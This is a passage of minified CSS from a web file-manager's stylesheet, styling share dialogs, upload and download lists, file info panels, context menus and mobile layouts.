.info,.check-version-dialog .aui-content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.dialog-copyright .dialog-copyright-content .content,.check-version-dialog .aui-content .content{padding:20px;}.dialog-copyright .dialog-copyright-content .content p,.check-version-dialog .aui-content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.dialog-copyright .dialog-copyright-content .content a,.check-version-dialog .aui-content .content a{padding-right:5px;}.dialog-copyright .dialog-copyright-content .content div,.check-version-dialog .aui-content .content div{text-align:center;padding-bottom:5px;}.check-version-dialog.dialog-simple .aui-title-bar{margin-top:-120px;}.share-dialog .content-box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share-dialog .content-box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share-dialog .content-box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share-dialog .content-box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share-dialog .content-box .share-view-info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share-dialog .content-box .content-info{padding:10px;padding-left:20px;}.share-dialog .content-box .content-info .input-line{margin:6px 0 8px 0;position:relative;}.share-dialog .content-box .content-info .input-line .input-title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share-dialog .content-box .content-info .input-line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share-dialog .content-box .content-info .input-line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.share-dialog .content-box .content-info .input-line label{margin-top:8px;margin-right:10px;}.share-dialog .content-box .content-info .input-line label input{margin:0 5px 5px 0;}.share-dialog .content-box .content-info .input-line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share-dialog .content-box .content-info .input-line .share-name{width:215px;margin-right:10px;}.share-dialog .content-box .content-info .input-line .share-url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share-dialog .content-box .content-info .input-line .share-more{line-height:33px;}.share-dialog .content-box .content-info .input-line .input-group-btn{float:left;}.share-dialog .content-box .content-info .input-line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share-dialog .content-box .content-info .input-line .open-window{margin-left:-12px;}.share-dialog .content-box .content-info .input-line .share-copy{width:60px;border-radius:0px;margin-left:-7px;}.share-dialog .content-box .content-info .input-line.select-path input[type="text"]{width:155px;}.share-dialog .content-box .content-info .input-line.select-path a.select-btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share-dialog .content-box .content-info .share-others{margin:-8px 0 -8px 0;}.share-dialog .content-box .share-action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share-dialog .content-box .share-action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share-dialog .content-box .share-action .share-remove-button,.share-dialog .content-box .share-action .remove-button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share-dialog .content-box .share-action .share-remove-button:hover,.share-dialog .content-box .share-action .remove-button:hover{color:#f30;}.file-list-icon .file{position:relative;}.file-list-icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.file-list-icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.file-list-list .file{position:relative;}.file-list-list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.file-list-list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui-footer .aui-buttons{padding:15px;}.pathSelectApi .aui-footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.file-continer .file.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.file-continer .file.file-not-readable,body div.file-continer .file.file-not-readable.file-not-writeable,body .frame-main .frame-left .ztree li a.file-not-readable,body .frame-main .frame-left .ztree li a.file-not-readable.file-not-writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url-link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui-content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download-url{padding:0px 5px;width:140px;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info-chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file-md5-loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.pathinfo .download-url{margin-right:0;border-radius:3px 0 0 3px;}.file-drag-upload .aui-content{overflow-y:scroll;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.movie-player-dialog{overflow:hidden;}.flash-player{width:100%;height:100%;}.wmp-player{width:0%;height:0%;}.movie-player-dialog .aui-content{background:#000;}.dialog-path-remove .aui-content{word-wrap:break-word;width:auto;}.server-dwonload-textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server-dwonload-textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.file-upload-box{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file-upload-box .topbar-nav{border-bottom:1px solid #ddd;margin-top:6px;}.file-upload-box .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file-upload-box .menu.this{background:#fff;border-bottom:1px solid #fff;}.file-upload-box .menu:hover{background:#fff;}.file-upload-box .upload-box{margin-top:10px;}.file-upload-box .download-btn-group{margin-left:-10px;margin-top:-3px;margin-top:-4px \9;}.file-upload-box .download-btn-group .download-start{border-radius:0px;}.file-upload-box .upload-box-tips .btn.btn-default{border-radius:3px;color:#555;}.file-upload-box .upload-box-tips .btn-group>.btn:last-child:not(:first-child),.file-upload-box .upload-box-tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file-upload-box div a.left{margin-left:10px;}.file-upload-box div a.right{position:absolute;right:5px;}.file-upload-box span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file-upload-box i{font-size:1em;color:#aaa;padding-left:10px;}.file-upload-box .list{margin:10px 15px 10px 0;}.file-upload-box .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file-upload-box .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file-upload-box .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file-upload-box .submit input:hover{background:#bbb;}.file-upload-box .submit input:active{background:#444;color:#fff;}.file-upload-box .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file-upload-box #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file-upload-box .webuploader-container{position:relative;}.file-upload-box .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file-upload-box .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file-upload-box .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .upload-cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file-upload-box .upload-cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file-upload-box .upload-cert-box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file-upload-box .upload-cert-box .dropdown-menu:before{right:inherit;left:10px;}.file-upload-box .upload-cert-box .dropdown-menu:after{right:inherit;left:11px;}.file-upload-box .upload-cert-box.open.upload-cert,.file-upload-box .upload-cert-box .upload-cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file-upload-box .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file-upload-box .btns{margin-bottom:10px;font-size:1em;height:28px;}.file-upload-box .btns .tips{float:right;line-height:30px;}.file-upload-box .btns #picker{float:left;}.file-upload-box .upload-box-tips{line-height:34px;color:#888;position:absolute;right:10px;}.file-upload-box .upload-box-config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file-upload-box .upload-box-config .upload-check-box{margin-left:10px;}.file-upload-box .upload-box-config label{margin-left:15px;}.file-upload-box .upload-box-config label input{margin-right:5px;}.file-upload-box .uploader-list .item,.file-upload-box .download-list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file-upload-box .uploader-list .item .info,.file-upload-box .download-list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file-upload-box .uploader-list .item .info span,.file-upload-box .uploader-list .item .info a,.file-upload-box .download-list .item .info span,.file-upload-box .download-list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file-upload-box .uploader-list .item .info .title,.file-upload-box .download-list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file-upload-box .uploader-list .item .info .size,.file-upload-box .download-list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file-upload-box .uploader-list .item .info .state,.file-upload-box .download-list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file-upload-box .uploader-list .item .info .font-icon,.file-upload-box .download-list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file-upload-box .uploader-list .item .info .font-icon:hover,.file-upload-box .download-list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file-upload-box .uploader-list .item .info .icon-ok,.file-upload-box .download-list .item .info .icon-ok{color:#40AA53;}.file-upload-box .uploader-list .item .info .error,.file-upload-box .download-list .item .info .error{color:#f30;}.file-upload-box .uploader-list .item.success,.file-upload-box .download-list .item.success{background:#eaf8ff;}.file-upload-box .uploader-list .item.error,.file-upload-box .download-list .item.error{background:#ffe8e6;}.file-upload-box .uploader-list .item .progress,.file-upload-box .download-list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file-upload-box .uploader-list .item .progress-bar,.file-upload-box .download-list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file-upload-box .uploader-list .success:hover,.file-upload-box .download-list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system-content .right-frame .user-list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do-search-box .search-header .btn-right{ margin:0px 0 0 -2px;height:25px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group-editor .tag input{ position:relative;top:-5px;} div.pathinfo .download-url{ height:30px;} div.file-list-icon .file .filename{ padding-top:0px;line-height:1.3em;} div.topbar .content .title.topbar-menu{ width:200px;} div.share-dialog .aui-border{ overflow:auto;} div.share-dialog .content-box .content-info .input-line.select-path a.select-btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}@media (max-width:743px){html #body .app-menu-left, html body .app-menu-left{ width:50px;min-width:50px;} html #body .app-menu-left .search{ opacity:0.001;} html #body .menu-left .setting a.selected, html body .menu-left .setting a.selected{ padding-left:0px;margin-left:-5px;} html #body .main.app-content, html body .main.app-content{ left:50px;} html #body .main.app-content .app-list, html body .main.app-content .app-list{ justify-content:space-around;} html .form-box .form-row .setting-title{ text-align:left;} html .form-box .form-row.form-userSelect .setting-content{ padding:10px 5%;} html .form-box .form-row .setting-content{ width:90%;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{ width:100%;height:40px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{ left:0px;top:80px;} html body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{ float:left;} html #body.plugin-page .app-menu-left .line, html body.plugin-page .app-menu-left .line{ padding:4px 0;} html body #body .menu-left, html body #body .app-menu-left{ width:50px;min-width:50px;} html body #body .menu-left h1, html body #body .app-menu-left h1{ font-size:14px;font-weight:800 !important;padding:10px 0px 10px 0px;text-align:center;} html body #body .menu-left .font-icon, html body #body .app-menu-left .font-icon{ padding-right:30px;} html #body .setting-tools-right, html body .setting-tools-right{ top:0;} html #body .main .nav a, html body .main .nav a{ padding:5px 10px;} html #body .main .nav, html body .main .nav{ margin-right:0px;} html #body .setting-tab, html body .setting-tab, html #body .system-content, html body .system-content{ margin-right:10px;} html #body .main, html body .main{ left:50px;width:auto;margin-right:10px;} html .form-box .form-row .desc, html .form-box .form-row .setting-content i{ display:block;} html #body .setting-tab .form-row, html body .setting-tab .form-row, html #body .system-content .form-row, html body .system-content .form-row{ background:#fafafa;border-radius:4px;padding:0 5px;} html .form-box .form-row .setting-title{ height:20px;line-height:20px;} html .form-box .form-row{ padding:0;} html .form-box .form-row input[type='text'], html .form-box .form-row input[type='password'], html .form-box .form-row input[type='number']{ width:180px;} html .form-box .form-row #wallpage-url{ width:150px !important;} html #body .main .section .content .box p, html body .main .section .content .box p{ text-indent:10px;} html #body .system-content.setting-member{ width:800px;} html body.setting-page .select-user-group .right-content, html body.setting-page .select-user-group .left-content{ width:170px;} html .topbar .content .top-right ul.dropdown-menu.topbar-language{ width:235px;max-height:800px;} html #body .main .section .box, html body .main .section .box{ margin-right:10px;} html #body .main .section .box .list, html body .main .section .box .list{ width:95px;height:95px;} html #body .main .section .box .list .ico, html body .main .section .box .list .ico{ width:75px;height:60px;} html #body .panel, html body .panel{ margin-right:0px;} html #body .main.app-content .app-list .app-li, html body .main.app-content .app-list .app-li{ margin:0 5px 20px 0;width:130px;} html #body .main.app-content .app-model, html body .main.app-content .app-model{ padding:10px;} html #body .menu-left .setting a, html body .menu-left .setting a{ text-indent:6px;} html .file-list-list .file .filename, html #main-title .filename, html .file-list-list .file .filetime, html #main-title .filetime{ width:100px;} html .file-list-list .file .filetype, html #main-title .filetype, html .file-list-list .file .filesize, html #main-title .filesize{ width:30px;} html .desktop .file-list-icon{ width:92%;} html .topbar .content .btn-wap-menu{ display:block !important;visibility:visible !important;position:absolute;text-align:center;z-index:100;color:#bbb;left:0;top:0;padding:0;background:rgba(0,0,0,0.05);width:45px;height:38px;line-height:40px;} html .topbar .content .btn-wap-menu i.font-icon{ padding-right:0;} html .topbar .content .top-left.collapse{ display:none;} html .topbar .content .top-left{ width:170px;height:auto;background:#fff;color:#666;position:absolute;left:45px;z-index:100;border:1px solid rgba(0,0,0,0.1);box-shadow:0 4px 30px rgba(0,0,0,0.15);} html .topbar .content .top-left .topbar-menu.title{ display:none;} html .topbar .content .top-left .topbar-menu{ float:none;border:none;} html .topbar .content .top-left .menu-group{ display:block;width:100%;height:auto;} html .topbar .content .top-left .menu-group a.topbar-menu{ display:none;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu{ display:block;position:static;border-top:2px solid #ddd;box-shadow:none;border:none;width:100%;padding:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li{ height:auto;width:100%;margin:0;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a{ text-align:left;padding:0px 1.2em;border-radius:0;height:40px;line-height:40px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a i, html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a img{ font-size:13px;width:25px;height:20px;line-height:20px;display:inline-block;background-color:transparent;color:#666;position:relative;top:-16px;} html .topbar .content .top-left .menu-group ul.dropdown-menu.topbar-submenu li a span{ display:inline-block;padding-top:0;} html .frame-main .bottom-box .cell{ width:80%;margin-top:5px;} html .frame-main .bottom-box .cell i{ display:inline-block;font-size:18px;} html .topbar.share-page-topbar .top-left{ position:static;} html .topbar.share-page-topbar .content .top-left .share-info{ position:absolute;left:0;top:0;z-index:999;} html .topbar.share-page-topbar .content .top-left .share-info .size, html .topbar.share-page-topbar .content .top-left .share-info .time{ display:none;} html .topbar.share-page-topbar .content .top-left .share-info .share-title-info{ background:#fff;font-size:13px;color:#444;} html .topbar.share-page-topbar .top-right .share-info-user .info{ display:none;} html .topbar.share-page-topbar .top-right .btn-download{ padding:4px 6px !important;} html .share-page-main .content-box.show-code{ width:100%;height:100%;border:none;top:0px;left:0;padding:0;margin:0;} html body#page-desktop .topbar .content .btn-wap-menu{ color:#fff;} html body#page-desktop .topbar .content .top-left{ background:rgba(0,0,0,0.7);}}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list.menu-auto-fit{top:5px !important;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 15px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:16px;text-align:center;font-size:1.2em;color:#aaa;margin-right:15px;vertical-align:middle;margin-top:-2px;padding:0;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;pointer-events:auto;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line-top{border-top:1px solid #ddd !important;}.font-icon.icon-home,.x-tree-self{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;filter:none;-ms-filter:none;}.font-icon.icon-home:before,.x-tree-self:before{content:"" !important;}.font-icon.icon-circle-arrow-up{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -496px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.font-icon.icon-circle-arrow-up:before{content:"" !important;}.x-tree-fav.small{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -773px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;}.x-tree-fav.small:before{content:"" !important;}.frame-right #search .font-icon.icon-search{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -736px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;margin-right:0px;margin-top:4px;}.frame-right #search .font-icon.icon-search:before{content:"" !important;}.context-menu-list .font-icon:before{color:#249dff;background-image:-webkit-linear-gradient(2deg,#249dff,#08558a);background-clip:text;text-fill-color:transparent;-webkit-text-fill-color:transparent;-webkit-background-clip:text;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{opacity:0.3;filter:alpha(opacity=30);}.context-menu-list .context-menu-item.search .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 0px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.search .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.open .font-icon,.context-menu-list .context-menu-item.open-the-path .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.open .font-icon:before,.context-menu-list .context-menu-item.open-the-path .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.upload .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.upload .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.down .font-icon,.context-menu-list .context-menu-item.download .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -48px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.down .font-icon:before,.context-menu-list .context-menu-item.download .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.cute .font-icon,.context-menu-list .context-menu-item.cute-to .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:-16px -80px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.cute .font-icon:before,.context-menu-list .context-menu-item.cute-to .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.copy .font-icon,.context-menu-list .context-menu-item.copy-to .font-icon,.context-menu-list .context-menu-item.copy-see .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -96px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.copy .font-icon:before,.context-menu-list .context-menu-item.copy-to .font-icon:before,.context-menu-list .context-menu-item.copy-see .font-icon:before{content:"" !important;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -16px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfolder .icon-folder-close-alt:before{content:"" !important;}.context-menu-list .context-menu-item.newfile .icon-expand-alt{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -32px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.newfile .icon-expand-alt:before{content:"" !important;}.context-menu-list .context-menu-item.rname .font-icon{display:inline-block;background-image:url("../../../images/common/menu_icon.png");width:16px !important;background-position:0 -64px;background-size:auto !important;background-repeat:no-repeat;height:16px;margin-right:15px;}.context-menu-list .context-menu-item.rname .font-icon:before{content:"" 